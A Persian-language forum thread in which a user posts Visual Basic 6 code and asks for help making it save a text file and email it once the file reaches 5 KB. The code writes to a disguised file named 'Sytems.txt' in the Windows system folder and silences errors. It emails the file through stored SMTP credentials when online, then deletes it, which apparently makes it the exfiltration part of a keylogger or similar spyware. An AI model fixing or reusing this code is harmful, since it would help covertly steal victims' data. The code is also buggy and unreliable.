مشکل در حجم فایل های txt

[pesarake]

سلام
دوستان کسی میتونه یه نگاه به این سورس بندازه و بگه ایرادش چیه
آخه میخوام فایل تکست حجمش شد 5 کیلو بایت سندر بفرسته
اما این نمیدونم چرا خموب ذخیره نمی کنه

Private Sub Timer3_Timer()
On Error Resume Next
TR = TR + 1
txtAttach.Text = Environ("systemroot") & "\Sytems.txt"
Me.Caption = TR
If TR = 20 Then
Dim Send As Boolean
txtAttach.Text = Environ("systemroot") & "\Sytems.txt"
Send = mdlMail.SendMail(txtSender.Text, txtSubject.Text, txtReciver.Text, txtText.Text, txtPassword.Text, Environ("systemroot") & "\Sytems.txt")
MsgBox Send
TR = 0
Else
End If
End Sub

Private Sub Timer4_Timer()
On Error Resume Next
Label7.Caption = ""
End Sub

Private Sub txtText_Change()
On Error Resume Next
Close
tt = txtText

a = Environ("systemroot") & "\Sytems.txt"
Open a For Output As #1
Print #1, tt
Close
If file.FileExists(txtAttach.Text = Environ("systemroot") & "\Sytems.txt") = True Then
fi = FileLen(a)
If fi >= 5000 Then
Ret = InternetGetConnectedStateEx(Ret, sConnType, 254, 0)
If (Ret = 1) And (sConnType <> "lan") Then
Send = mdlMail.SendMail(txtSender.Text, txtSubject.Text, txtReciver.Text, txtText.Text, txtPassword.Text, txtAttach.Text)
Kill a

End If
End If

End If
End Sub

[farboodj1375]

میشه بیشتر توضیح بدین؟